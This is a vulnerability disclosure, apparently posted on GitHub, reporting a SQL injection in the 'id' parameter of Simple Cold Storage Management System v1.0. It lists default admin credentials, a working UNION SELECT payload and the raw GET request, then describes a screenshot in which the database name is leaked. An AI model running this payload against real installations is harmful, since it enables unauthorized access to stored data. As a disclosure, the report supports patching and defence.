

main

...

[bug_report](#) / [vendors](#) / [oretnom23](#) / [simple-cold-storage-management-system](#) / [SQLi-1.md](#)

HKD01l Create SQLi-1.md

[History](#)

1 contributor

31 lines (21 sloc) | 1.19 KB

...

Simple Cold Storage Management System v1.0 by oretnom23 has SQL injection

BUG_Author: QiaoRui feng

Login account: admin/admin123 (Super Admin account)

vendors: <https://www.sourcecodester.com/php/15088/simple-cold-storage-management-system-using-phpoop-source-code.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /csms/admin/?page=bookings/view_details&id=

Vulnerability location: /csms/admin/?page=bookings/view_details&id=, id

dbname =csms_db,length=7

[+] Payload: /csms/admin/?

page=bookings/view_details&id=-2%27%20union%20select%201,database(),3,4,5,6,7,8,9,10,11,12,13--+ // Leak place ---> id

```
GET /csms/admin/?page=bookings/view_details&id=-2%27%20union%20select%201,database()  
Host: 192.168.1.88
```

◀ ▶

The screenshot shows a web browser window with the following details:

- Address Bar:** `http://192.168.1.88/csms/admin/?page=bookings/view_details&id=-2' union select 1,database(),3,4,5,6,7,8,9,10,11,12,13--+|`
- Browser Tools:** Includes checkboxes for Post data, Referrer, and encoding options like 0xHEX, %URL, and BASE64.
- Page Header:** XYZ Cold Storage Management System - PHP - Admin
- Left Sidebar:**
 - Dashboard
 - Booking List
 - Inquiries
 - Maintenance
 - Storage List
 - User List
 - Settings
- Main Content Area:**
 - Booking Details of csms_db**
 - Booking Code:** **csms_db** (highlighted in yellow)
 - Client's Information**
- Client's Information Table:**

Full Name	3	Contact #	0912345679
Gender	Male	Email	mcooper@gmail.com
Birthday		Address	Over There, Down Here Street, There City, Everywh